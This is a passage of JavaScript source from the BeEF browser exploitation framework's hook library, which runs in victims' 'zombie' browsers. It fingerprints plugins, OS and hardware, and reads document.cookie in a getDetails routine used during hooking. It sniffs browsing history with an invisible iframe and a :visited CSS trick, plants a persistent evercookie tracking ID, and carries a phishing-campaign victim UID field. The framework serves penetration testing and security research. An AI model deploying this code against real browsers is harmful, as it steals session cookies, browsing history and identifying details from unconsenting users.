6206 * Returns the list of plugins installed in the browser.
6207 */
6208 getPlugins: function () {
6209
6210 var results;
6211 Array.prototype.unique = function () {
6212 var o = {}, i, l = this.length, r = [];
6213 for (i = 0; i < l; i += 1) o[this[i]] = this[i];
6214 for (i in o) r.push(o[i]);
6215 return r;
6216 };
6217
6218 // Things lacking navigator.plugins
6219 if (!this.capabilities()["navigator.plugins"]) results = this.getPluginsIE();
6220
6221 // All other browsers that support navigator.plugins
6222 else if (navigator.plugins && navigator.plugins.length > 0) {
6223 results = new Array();
6224 for (var i = 0; i < navigator.plugins.length; i++) {
6225
6226 // Firefox returns exact plugin versions
6227 if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
6228
6229 // Webkit and Presto (Opera)
6230 // Don't support the version attribute
6231 // Sometimes store the version in description (Real, Adobe)
6232 else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
6233 }
6234 results = results.unique().toString();
6235
6236 // All browsers that don't support navigator.plugins
6237 } else {
6238 results = new Array();
6239 //firefox https://bugzilla.mozilla.org/show_bug.cgi?id=757726
6240 // On linux sistem the "version" slot is empty so I'll attach "description" after version
6241 var plugins = {
6242
6243 'AdobeAcrobat': {
6244 'control': 'Adobe Acrobat',
6245 'return': function (control) {
6246 try {
6247 version = navigator.plugins["Adobe Acrobat"]["description"];
6248 return 'Adobe Acrobat Version ' + version; //+ " description "+ filename;
6249
6250 }
6251 catch (e) {
6252 }
6253
6254
6255 }},
6256 'Flash': {
6257 'control': 'Shockwave Flash',
6258 'return': function (control) {
6259 try {
6260 version = navigator.plugins["Shockwave Flash"]["description"];
6261 return 'Flash Player Version ' + version; //+ " description "+ filename;
6262 }
6263
6264 catch (e) {
6265 }
6266 }},
6267 'Google_Talk_Plugin_Accelerator': {
6268 'control': 'Google Talk Plugin Video Accelerator',
6269 'return': function (control) {
6270
6271 try {
6272 version = navigator.plugins['Google Talk Plugin Video Accelerator']["description"];
6273 return 'Google Talk Plugin Video Accelerator Version ' + version; //+ " description "+ filename;
6274 }
6275 catch (e) {
6276 }
6277 }},
6278 'Google_Talk_Plugin': {
6279 'control': 'Google Talk Plugin',
6280 'return': function (control) {
6281 try {
6282 version = navigator.plugins['Google Talk Plugin']["description"];
6283 return 'Google Talk Plugin Version ' + version;// " description "+ filename;
6284 }
6285 catch (e) {
6286 }
6287 }},
6288 'Facebook_Video_Calling_Plugin': {
6289 'control': 'Facebook Video Calling Plugin',
6290 'return': function (control) {
6291 try {
6292 version = navigator.plugins["Facebook Video Calling Plugin"]["description"];
6293 return 'Facebook Video Calling Plugin Version ' + version;//+ " description "+ filename;
6294 }
6295 catch (e) {
6296 }
6297 }},
6298 'Google_Update': {
6299 'control': 'Google Update',
6300 'return': function (control) {
6301 try {
6302 version = navigator.plugins["Google Update"]["description"];
6303 return 'Google Update Version ' + version//+ " description "+ filename;
6304 }
6305 catch (e) {
6306 }
6307 }},
6308 'Windows_Activation_Technologies': {
6309 'control': 'Windows Activation Technologies',
6310 'return': function (control) {
6311 try {
6312 version = navigator.plugins["Windows Activation Technologies"]["description"];
6313 return 'Windows Activation Technologies Version ' + version;//+ " description "+ filename;
6314 }
6315 catch (e) {
6316 }
6317
6318 }},
6319 'VLC_Web_Plugin': {
6320 'control': 'VLC Web Plugin',
6321 'return': function (control) {
6322 try {
6323 version = navigator.plugins["VLC Web Plugin"]["description"];
6324 return 'VLC Web Plugin Version ' + version;//+ " description "+ filename;
6325 }
6326 catch (e) {
6327 }
6328 }},
6329 'Google_Earth_Plugin': {
6330 'control': 'Google Earth Plugin',
6331
6332 'return': function (control) {
6333 try {
6334 version = navigator.plugins['Google Earth Plugin']["description"];
6335 return 'Google Earth Plugin Version ' + version;//+ " description "+ filename;
6336 }
6337 catch (e) {
6338 }
6339 }},
6340 'FoxitReader_Plugin': {
6341 'control': 'FoxitReader Plugin',
6342 'return': function (control) {
6343 try {
6344 version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version'];
6345 return 'FoxitReader Plugin Version ' + version;
6346 } catch (e) {
6347 }
6348 }}
6349 };
6350
6351 var c = 0;
6352 for (var i in plugins) {
6353 //each element od plugins
6354 var control = plugins[i]['control'];
6355 try {
6356 var version = plugins[i]['return'](control);
6357 if (version) {
6358 results[c] = version;
6359 c = c + 1;
6360 }
6361 }
6362 catch (e) {
6363 }
6364
6365 }
6366 }
6367 // Return results
6368 return results;
6369 },
6370
6371 /**
6372 * Returns a list of plugins detected by IE. This is a hack because IE doesn't
6373 * support navigator.plugins
6374 */
6375 getPluginsIE: function () {
6376 var results = '';
6377 var plugins = {
6378 'AdobePDF6': {
6379 'control': 'PDF.PdfCtrl',
6380 'return': function (control) {
6381 version = control.getVersions().split(',');
6382 version = version[0].split('=');
6383 return 'Acrobat Reader v' + parseFloat(version[1]);
6384 }},
6385 'AdobePDF7': {
6386 'control': 'AcroPDF.PDF',
6387 'return': function (control) {
6388 version = control.getVersions().split(',');
6389 version = version[0].split('=');
6390 return 'Acrobat Reader v' + parseFloat(version[1]);
6391 }},
6392 'Flash': {
6393 'control': 'ShockwaveFlash.ShockwaveFlash',
6394 'return': function (control) {
6395 version = control.getVariable('$version').substring(4);
6396 return 'Flash Player v' + version.replace(/,/g, ".");
6397 }},
6398 'Quicktime': {
6399 'control': 'QuickTime.QuickTime',
6400 'return': function (control) {
6401 return 'QuickTime Player';
6402 }},
6403 'RealPlayer': {
6404 'control': 'RealPlayer',
6405 'return': function (control) {
6406 version = control.getVersionInfo();
6407 return 'RealPlayer v' + parseFloat(version);
6408 }},
6409 'Shockwave': {
6410 'control': 'SWCtl.SWCtl',
6411 'return': function (control) {
6412 version = control.ShockwaveVersion('').split('r');
6413 return 'Shockwave v' + parseFloat(version[0]);
6414 }},
6415 'WindowsMediaPlayer': {
6416 'control': 'WMPlayer.OCX',
6417 'return': function (control) {
6418 return 'Windows Media Player v' + parseFloat(control.versionInfo);
6419 }},
6420 'FoxitReaderPlugin': {
6421 'control': 'FoxitReader.FoxitReaderCtl.1',
6422 'return': function (control) {
6423 return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo);
6424 }}
6425 };
6426 if (window.ActiveXObject) {
6427 var j = 0;
6428 for (var i in plugins) {
6429 var control = null;
6430 var version = null;
6431 try {
6432 control = new ActiveXObject(plugins[i]['control']);
6433 } catch (e) {
6434 }
6435 if (control) {
6436 if (j != 0)
6437 results += ', ';
6438 results += plugins[i]['return'](control);
6439 j++;
6440 }
6441 }
6442 }
6443 return results;
6444 },
6445
6446 /**
6447 * Returns zombie screen size and color depth.
6448 */
6449 getScreenSize: function () {
6450 return {
6451 width: window.screen.width,
6452 height: window.screen.height,
6453 colordepth: window.screen.colorDepth
6454 }
6455 },
6456
6457 /**
6458 * Returns zombie browser window size.
6459 * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
6460 */
6461 getWindowSize: function () {
6462 var myWidth = 0, myHeight = 0;
6463 if (typeof( window.innerWidth ) == 'number') {
6464 // Non-IE
6465 myWidth = window.innerWidth;
6466 myHeight = window.innerHeight;
6467 } else if (document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight )) {
6468 // IE 6+ in 'standards compliant mode'
6469 myWidth = document.documentElement.clientWidth;
6470 myHeight = document.documentElement.clientHeight;
6471 } else if (document.body && ( document.body.clientWidth || document.body.clientHeight )) {
6472 // IE 4 compatible
6473 myWidth = document.body.clientWidth;
6474 myHeight = document.body.clientHeight;
6475 }
6476 return {
6477 width: myWidth,
6478 height: myHeight
6479 }
6480 },
6481
6482 /**
6483 * Construct hash from browser details. This function is used to grab the browser details during the hooking process
6484 */
6485 getDetails: function () {
6486 var details = new Array();
6487
6488 var browser_name = beef.browser.getBrowserName();
6489 var browser_version = beef.browser.getBrowserVersion();
6490 var browser_reported_name = beef.browser.getBrowserReportedName();
6491 var browser_language = beef.browser.getBrowserLanguage();
6492 var page_title = (document.title) ? document.title : "Unknown";
6493 var page_uri = (document.location.href) ? document.location.href : "Unknown";
6494 var page_referrer = (document.referrer) ? document.referrer : "Unknown";
6495 var hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
6496 switch (document.location.protocol) {
6497 case "http:":
6498 var default_port = "80";
6499 break;
6500 case "https:":
6501 var default_port = "443";
6502 break
6503 default:
6504 var default_port = "";
6505 }
6506 var hostport = (document.location.port) ? document.location.port : default_port;
6507 var browser_plugins = beef.browser.getPlugins();
6508 var date_stamp = new Date().toString();
6509 var os_name = beef.os.getName();
6510 var os_version = beef.os.getVersion();
6511 var default_browser = beef.os.getDefaultBrowser();
6512 var hw_name = beef.hardware.getName();
6513 var cpu_type = beef.hardware.cpuType();
6514 var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
6515 var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : 'Unknown';
6516 var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {
6517 if (value == true) return value;
6518 else if (typeof value == 'object') return value;
6519 else return undefined;
6520 });
6521 var screen_size = beef.browser.getScreenSize();
6522 var window_size = beef.browser.getWindowSize();
6523 var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
6524 var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
6525 var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
6526 var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
6527 var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
6528 var has_web_worker = (beef.browser.hasWebWorker()) ? "Yes" : "No";
6529 var has_web_gl = (beef.browser.hasWebGL()) ? "Yes" : "No";
6530 var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
6531 var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
6532 var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
6533 var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
6534 var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
6535 try {
6536 var cookies = document.cookie;
6537 /* Never stop the madness dear C.
6538 * var veglol = beef.browser.cookie.veganLol();
6539 */
6540 if (cookies) details['Cookies'] = cookies;
6541 } catch (e) {
6542 details['Cookies'] = "Cookies can't be read. The hooked origin is most probably using HttpOnly.";
6543 }
6544
6545 if (browser_name) details['BrowserName'] = browser_name;
6546 if (browser_version) details['BrowserVersion'] = browser_version;
6547 if (browser_reported_name) details['BrowserReportedName'] = browser_reported_name;
6548 if (browser_language) details['BrowserLanguage'] = browser_language;
6549 if (page_title) details['PageTitle'] = page_title;
6550 if (page_uri) details['PageURI'] = page_uri;
6551 if (page_referrer) details['PageReferrer'] = page_referrer;
6552 if (hostname) details['HostName'] = hostname;
6553 if (hostport) details['HostPort'] = hostport;
6554 if (browser_plugins) details['BrowserPlugins'] = browser_plugins;
6555 if (os_name) details['OsName'] = os_name;
6556 if (os_version) details['OsVersion'] = os_version;
6557 if (default_browser) details['DefaultBrowser'] = default_browser;
6558 if (hw_name) details['Hardware'] = hw_name;
6559 if (cpu_type) details['CPU'] = cpu_type;
6560 if (touch_enabled) details['TouchEnabled'] = touch_enabled;
6561 if (date_stamp) details['DateStamp'] = date_stamp;
6562 if (browser_platform) details['BrowserPlatform'] = browser_platform;
6563 if (browser_type) details['BrowserType'] = browser_type;
6564 if (screen_size) details['ScreenSize'] = screen_size;
6565 if (window_size) details['WindowSize'] = window_size;
6566 if (vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled;
6567 if (has_flash) details['HasFlash'] = has_flash;
6568 if (has_phonegap) details['HasPhonegap'] = has_phonegap;
6569 if (has_web_socket) details['HasWebSocket'] = has_web_socket;
6570 if (has_web_worker) details['HasWebWorker'] = has_web_worker;
6571 if (has_web_gl) details['HasWebGL'] = has_web_gl;
6572 if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
6573 if (has_webrtc) details['HasWebRTC'] = has_webrtc;
6574 if (has_activex) details['HasActiveX'] = has_activex;
6575 if (has_quicktime) details['HasQuickTime'] = has_quicktime;
6576 if (has_realplayer) details['HasRealPlayer'] = has_realplayer;
6577 if (has_wmp) details['HasWMP'] = has_wmp;
6578
6579 var pf_integration = "";
6580 if (pf_integration) {
6581 var pf_param = "uid";
6582 var pf_victim_uid = "";
6583 var location_search = window.location.search.substring(1);
6584 var params = location_search.split('&');
6585 for (var i = 0; i < params.length; i++) {
6586 var param_entry = params[i].split('=');
6587 if (param_entry[0] == pf_param) {
6588 pf_victim_uid = param_entry[1];
6589 details['PhishingFrenzyUID'] = pf_victim_uid;
6590 break;
6591 }
6592 }
6593 } else {
6594 details['PhishingFrenzyUID'] = "N/A";
6595 }
6596
6597 return details;
6598 },
6599
6600 /**
6601 * Returns boolean value depending on whether the browser supports ActiveX
6602 */
6603 hasActiveX: function () {
6604 return !!window.ActiveXObject;
6605 },
6606
6607 /**
6608 * Returns boolean value depending on whether the browser supports WebRTC
6609 */
6610 hasWebRTC: function () {
6611 return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);
6612 },
6613
6614 /**
6615 * Returns boolean value depending on whether the browser supports Silverlight
6616 */
6617 hasSilverlight: function () {
6618 var result = false;
6619
6620 try {
6621 if (beef.browser.isIE()) {
6622 var slControl = new ActiveXObject('AgControl.AgControl');
6623 result = true;
6624 } else if (navigator.plugins["Silverlight Plug-In"]) {
6625 result = true;
6626 }
6627 } catch (e) {
6628 result = false;
6629 }
6630
6631 return result;
6632 },
6633
6634 /**
6635 * Returns array of results, whether or not the target zombie has visited the specified URL
6636 */
6637 hasVisited: function (urls) {
6638 var results = new Array();
6639 var iframe = beef.dom.createInvisibleIframe();
6640 var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
6641 ifdoc.open();
6642 ifdoc.write('<style>a:visited{width:0px !important;}</style>');
6643 ifdoc.close();
6644 urls = urls.split("\n");
6645 var count = 0;
6646 for (var i in urls) {
6647 var u = urls[i];
6648 if (u != "" || u != null) {
6649 var success = false;
6650 var a = ifdoc.createElement('a');
6651 a.href = u;
6652 ifdoc.body.appendChild(a);
6653 var width = null;
6654 (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
6655 if (width == '0px') {
6656 success = true;
6657 }
6658 results.push({'url': u, 'visited': success});
6659 count++;
6660 }
6661 }
6662 beef.dom.removeElement(iframe);
6663 if (results.length == 0) {
6664 return false;
6665 }
6666 return results;
6667 },
6668
6669 /**
6670 * Checks if the zombie has Web Sockets enabled.
6671 * @return: {Boolean} true or false.
6672 * In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket
6673 * */
6674 hasWebSocket: function () {
6675 return !!window.WebSocket || !!window.MozWebSocket;
6676 },
6677
6678 /**
6679 * Checks if the zombie has Web Workers enabled.
6680 * @return: {Boolean} true or false.
6681 * */
6682 hasWebWorker: function () {
6683 return (typeof(Worker) !== "undefined");
6684 },
6685
6686 /**
6687 * Checks if the zombie has WebGL enabled.
6688 * @return: {Boolean} true or false.
6689 *
6690 * @from: https://github.com/idofilin/webgl-by-example/blob/master/detect-webgl/detect-webgl.js
6691 * */
6692 hasWebGL: function () {
6693 try {
6694 var canvas = document.createElement("canvas");
6695 var gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
6696 return !!(gl && gl instanceof WebGLRenderingContext);
6697 } catch(e) {
6698 return false;
6699 }
6700 },
6701
6702 /**
6703 * Checks if the zombie has Google Gears installed.
6704 * @return: {Boolean} true or false.
6705 *
6706 * @from: https://code.google.com/apis/gears/gears_init.js
6707 * */
6708 hasGoogleGears: function () {
6709
6710 var ggfactory = null;
6711
6712 // Chrome
6713 if (window.google && google.gears) return true;
6714
6715 // Firefox
6716 if (typeof GearsFactory != 'undefined') {
6717 ggfactory = new GearsFactory();
6718 } else {
6719 // IE
6720 try {
6721 ggfactory = new ActiveXObject('Gears.Factory');
6722 // IE Mobile on WinCE.
6723 if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
6724 ggfactory.privateSetGlobalObject(this);
6725 }
6726 } catch (e) {
6727 // Safari
6728 if ((typeof navigator.mimeTypes != 'undefined')
6729 && navigator.mimeTypes["application/x-googlegears"]) {
6730 ggfactory = document.createElement("object");
6731 ggfactory.style.display = "none";
6732 ggfactory.width = 0;
6733 ggfactory.height = 0;
6734 ggfactory.type = "application/x-googlegears";
6735 document.documentElement.appendChild(ggfactory);
6736 if (ggfactory && (typeof ggfactory.create == 'undefined')) ggfactory = null;
6737 }
6738 }
6739 }
6740 if (!ggfactory) return false; else return true;
6741 },
6742
6743 /**
6744 * Checks if the zombie has Foxit PDF reader plugin.
6745 * @return: {Boolean} true or false.
6746 *
6747 * @example: if(beef.browser.hasFoxit()) { ... }
6748 * */
6749 hasFoxit: function () {
6750
6751 var foxitplugin = false;
6752
6753 try {
6754 if (beef.browser.isIE()) {
6755 var foxitControl = new ActiveXObject('FoxitReader.FoxitReaderCtl.1');
6756 foxitplugin = true;
6757 } else if (navigator.plugins['Foxit Reader Plugin for Mozilla']) {
6758 foxitplugin = true;
6759 }
6760 } catch (e) {
6761 foxitplugin = false;
6762 }
6763
6764 return foxitplugin;
6765 },
6766
6767 /**
6768 * Returns the page head HTML
6769 **/
6770 getPageHead: function () {
6771 var html_head;
6772 try {
6773 html_head = document.head.innerHTML.toString();
6774 } catch (e) {
6775 }
6776 return html_head;
6777 },
6778
6779 /**
6780 * Returns the page body HTML
6781 **/
6782 getPageBody: function () {
6783 var html_body;
6784 try {
6785 html_body = document.body.innerHTML.toString();
6786 } catch (e) {
6787 }
6788 return html_body;
6789 },
6790
6791 /**
6792 * Dynamically changes the favicon: works in Firefox, Chrome and Opera
6793 **/
6794 changeFavicon: function (favicon_url) {
6795 var iframe = null;
6796 if (this.isC()) {
6797 iframe = document.createElement('iframe');
6798 iframe.src = 'about:blank';
6799 iframe.style.display = 'none';
6800 document.body.appendChild(iframe);
6801 }
6802 var link = document.createElement('link'),
6803 oldLink = document.getElementById('dynamic-favicon');
6804 link.id = 'dynamic-favicon';
6805 link.rel = 'shortcut icon';
6806 link.href = favicon_url;
6807 if (oldLink) document.head.removeChild(oldLink);
6808 document.head.appendChild(link);
6809 if (this.isC()) iframe.src += '';
6810 },
6811
6812 /**
6813 * Changes page title
6814 **/
6815 changePageTitle: function (title) {
6816 document.title = title;
6817 },
6818
6819 /**
6820 * Get the browser language
6821 */
6822 getBrowserLanguage: function () {
6823 var l = 'Unknown';
6824 try {
6825 l = window.navigator.userLanguage || window.navigator.language;
6826 } catch (e) {
6827 }
6828 return l;
6829 },
6830
6831 /**
6832 * A function that gets the max number of simultaneous connections the
6833 * browser can make per origin, or globally on all origin.
6834 *
6835 * This code is based on research from browserspy.dk
6836 *
6837 * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
6838 * @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
6839 * the number of connections to the callback function as "this"
6840 *
6841 * example usage:
6842 * $j.when(getMaxConnections()).done(function(){
6843 * console.debug("Max Connections: " + this);
6844 * });
6845 *
6846 */
6847 getMaxConnections: function (scope) {
6848
6849 var imagesCount = 30; // Max number of images to test
6850 var secondsTimeout = 5; // Image load timeout threashold
6851 var testUrl = ""; // The image testing service URL
6852
6853 // User broserspy.dk max connections service URL.
6854 if (scope == 'PER_DOMAIN')
6855 testUrl = "http://browserspy.dk/connections.php?img=1&random=";
6856 else
6857 // The token will be replaced by a different number with each request (different origin).
6858 testUrl = "http://<token>.browserspy.dk/connections.php?img=1&random=";
6859
6860 var imagesLoaded = 0; // Number of responding images before timeout.
6861 var imagesRequested = 0; // Number of requested images.
6862 var testImages = new Array(); // Array of all images.
6863 var deferredObject = $j.Deferred(); // A jquery Deferred object.
6864
6865 for (var i = 1; i <= imagesCount; i++) {
6866 // Asynchronously request image.
6867 testImages[i] =
6868 $j.ajax({
6869 type: "get",
6870 dataType: true,
6871 url: (testUrl.replace("<token>", i)) + Math.random(),
6872 data: "",
6873 timeout: (secondsTimeout * 1000),
6874
6875 // Function on completion of request.
6876 complete: function (jqXHR, textStatus) {
6877
6878 imagesRequested++;
6879
6880 // If the image returns a 200 or a 302, the text Status is "error", else null
6881 if (textStatus == "error") {
6882 imagesLoaded++;
6883 }
6884
6885 // If all images requested
6886 if (imagesRequested >= imagesCount) {
6887 // resolve the deferred object passing the number of loaded images.
6888 deferredObject.resolveWith(imagesLoaded);
6889 }
6890 }
6891 });
6892
6893 }
6894
6895 // Return a promise to resolve the deffered object when the images are loaded.
6896 return deferredObject.promise();
6897
6898 }
6899
6900};
6901
6902beef.regCmp('beef.browser');
6903
6904
6905//
6906// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
6907// Browser Exploitation Framework (BeEF) - http://beefproject.com
6908// See the file 'doc/COPYING' for copying permission
6909//
6910
6911/*!
6912 * @literal object: beef.browser.cookie
6913 *
6914 * Provides fuctions for working with cookies.
6915 * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
6916 * Original author unknown.
6917 *
6918 */
6919beef.browser.cookie = {
6920
6921 setCookie: function (name, value, expires, path, domain, secure)
6922 {
6923
6924 var today = new Date();
6925 today.setTime( today.getTime() );
6926
6927 if ( expires )
6928 {
6929 expires = expires * 1000 * 60 * 60 * 24;
6930 }
6931 var expires_date = new Date( today.getTime() + (expires) );
6932
6933 document.cookie = name + "=" +escape( value ) +
6934 ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
6935 ( ( path ) ? ";path=" + path : "" ) +
6936 ( ( domain ) ? ";domain=" + domain : "" ) +
6937 ( ( secure ) ? ";secure" : "" );
6938 },
6939
6940 getCookie: function(name)
6941 {
6942 var a_all_cookies = document.cookie.split( ';' );
6943 var a_temp_cookie = '';
6944 var cookie_name = '';
6945 var cookie_value = '';
6946 var b_cookie_found = false;
6947
6948 for ( i = 0; i < a_all_cookies.length; i++ )
6949 {
6950 a_temp_cookie = a_all_cookies[i].split( '=' );
6951 cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
6952 if ( cookie_name == name )
6953 {
6954 b_cookie_found = true;
6955 if ( a_temp_cookie.length > 1 )
6956 {
6957 cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
6958 }
6959 return cookie_value;
6960 break;
6961 }
6962 a_temp_cookie = null;
6963 cookie_name = '';
6964 }
6965 if ( !b_cookie_found )
6966 {
6967 return null;
6968 }
6969 },
6970
6971 deleteCookie: function (name, path, domain)
6972 {
6973 if ( this.getCookie(name) ) document.cookie = name + "=" +
6974 ( ( path ) ? ";path=" + path : "") +
6975 ( ( domain ) ? ";domain=" + domain : "" ) +
6976 ";expires=Thu, 01-Jan-1970 00:00:01 GMT";
6977 },
6978
6979 /* Never stop the madness dear C. */
6980 veganLol: function (){
6981 var to_hell= '';
6982 var min = 17;
6983 var max = 25;
6984 var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
6985
6986 var grunt = function(){
6987 var moo = Math.floor(Math.random() * 62);
6988 var char = '';
6989 if(moo < 36){
6990 char = String.fromCharCode(moo + 55);
6991 }else{
6992 char = String.fromCharCode(moo + 61);
6993 }
6994 if(char != ';' && char != '='){
6995 return char;
6996 }else{
6997 return 'x';
6998 }
6999 };
7000
7001 while(to_hell.length < lol_length){
7002 to_hell += grunt();
7003 }
7004 return to_hell;
7005 },
7006
7007 hasSessionCookies: function (name){
7008 this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
7009
7010 cookiesEnabled = (this.getCookie(name) == null)? false:true;
7011 this.deleteCookie(name, '/', '');
7012 return cookiesEnabled;
7013
7014 },
7015
7016 hasPersistentCookies: function (name){
7017 this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
7018
7019 cookiesEnabled = (this.getCookie(name) == null)? false:true;
7020 this.deleteCookie(name, '/', '');
7021 return cookiesEnabled;
7022
7023 }
7024
7025};
7026
7027beef.regCmp('beef.browser.cookie');
7028
7029//
7030// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
7031// Browser Exploitation Framework (BeEF) - http://beefproject.com
7032// See the file 'doc/COPYING' for copying permission
7033//
7034
7035/*!
7036 * @literal object: beef.browser.popup
7037 *
7038 * Provides fuctions for working with cookies.
7039 * Several functions adopted from http://davidwalsh.name/popup-block-javascript
7040 * Original author unknown.
7041 *
7042 */
7043beef.browser.popup = {
7044
7045 blocker_enabled: function ()
7046 {
7047 screenParams = beef.browser.getScreenSize();
7048 var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
7049 if (popUp == null || typeof(popUp)=='undefined') {
7050 return true;
7051 } else {
7052 popUp.close();
7053 return false;
7054 }
7055 }
7056};
7057
7058beef.regCmp('beef.browser.popup');
7059
7060
7061//
7062// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
7063// Browser Exploitation Framework (BeEF) - http://beefproject.com
7064// See the file 'doc/COPYING' for copying permission
7065//
7066
7067/*!
7068 * @literal object: beef.session
7069 *
7070 * Provides basic session functions.
7071 */
7072beef.session = {
7073
7074 hook_session_id_length: 80,
7075 hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
7076 ec: new evercookie(),
7077 beefhook: "BEEFHOOK",
7078
7079 /**
7080 * Gets a string which will be used to identify the hooked browser session
7081 *
7082 * @example: var hook_session_id = beef.session.get_hook_session_id();
7083 */
7084 get_hook_session_id: function() {
7085 // check if the browser is already known to the framework
7086 var id = this.ec.evercookie_cookie(beef.session.beefhook);
7087 if (typeof id == 'undefined') {
7088 var id = this.ec.evercookie_userdata(beef.session.beefhook);
7089 }
7090 if (typeof id == 'undefined') {
7091 var id = this.ec.evercookie_window(beef.session.beefhook);
7092 }
7093
7094 // if the browser is not known create a hook session id and set it
7095 if ((typeof id == 'undefined') || (id == null)) {
7096 id = this.gen_hook_session_id();
7097 this.set_hook_session_id(id);
7098 }
7099
7100 // return the hooked browser session identifier
7101 return id;
7102 },
7103
7104 /**
7105 * Sets a string which will be used to identify the hooked browser session
7106 *
7107 * @example: beef.session.set_hook_session_id('RANDOMSTRING');
7108 */
7109 set_hook_session_id: function(id) {
7110 // persist the hook session id
7111 this.ec.evercookie_cookie(beef.session.beefhook, id);
7112 this.ec.evercookie_userdata(beef.session.beefhook, id);
7113 this.ec.evercookie_window(beef.session.beefhook, id);
7114 },
7115
7116 /**
7117 * Generates a random string using the chars in hook_session_id_chars.
7118 *
7119 * @example: beef.session.gen_hook_session_id();
7120 */
7121 gen_hook_session_id: function() {
7122 // init the return value
7123 var hook_session_id = "";
7124
7125 // construct the random string
7126 for(var i=0; i<this.hook_session_id_length; i++) {
7127 var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
7128 hook_session_id += this.hook_session_id_chars.charAt(rand_num);
7129 }
7130
7131 return hook_session_id;
7132 }
7133};
7134
7135beef.regCmp('beef.session');
7136
7137
7138//
7139// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
7140// Browser Exploitation Framework (BeEF) - http://beefproject.com
7141// See the file 'doc/COPYING' for copying permission
7142//
7143
7144beef.os = {
7145
7146 ua: navigator.userAgent,
7147
7148 /**
7149 * Detect default browser (IE only)
7150 * Written by unsticky
7151 * http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
7152 */
7153 getDefaultBrowser: function() {
7154 var result = "Unknown"
7155 try {
7156 var mt = document.mimeType;
7157 if (mt) {
7158 if (mt == "Safari Document") result = "Safari";
7159 if (mt == "Firefox HTML Document") result = "Firefox";
7160 if (mt == "Chrome HTML Document") result = "Chrome";
7161 if (mt == "HTML Document") result = "Internet Explorer";
7162 if (mt == "Opera Web Document") result = "Opera";
7163 }
7164 } catch (e) {
7165 beef.debug("[os] getDefaultBrowser: "+e.message);
7166 }
7167 return result;
7168 },
7169
7170 // the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015
7171 isWin311: function() {
7172 return (this.ua.match('(Win16)')) ? true : false;
7173 },
7174
7175 isWinNT4: function() {
7176 return (this.ua.match('(Windows NT 4.0)')) ? true : false;
7177 },
7178
7179 isWin95: function() {
7180 return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
7181 },
7182 isWinCE: function() {
7183 return (this.ua.match('(Windows CE)')) ? true : false;
7184 },
7185
7186 isWin98: function() {
7187 return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
7188 },
7189
7190 isWinME: function() {
7191 return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
7192 },
7193
7194 isWin2000: function() {
7195 return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
7196 },
7197
7198 isWin2000SP1: function() {
7199 return (this.ua.match('Windows NT 5.01 ')) ? true : false;
7200 },
7201
7202 isWinXP: function() {
7203 return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
7204 },
7205
7206 isWinServer2003: function() {
7207 return (this.ua.match('(Windows NT 5.2)')) ? true : false;
7208 },
7209
7210 isWinVista: function() {
7211 return (this.ua.match('(Windows NT 6.0)')) ? true : false;
7212 },
7213
7214 isWin7: function() {
7215 return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
7216 },
7217
7218 isWin8: function() {
7219 return (this.ua.match('(Windows NT 6.2)')) ? true : false;
7220 },
7221
7222 isWin81: function() {
7223 return (this.ua.match('(Windows NT 6.3)')) ? true : false;
7224 },
7225
7226 isWin10: function() {
7227 return (this.ua.match('Windows NT 10.0')) ? true : false;
7228 },
7229
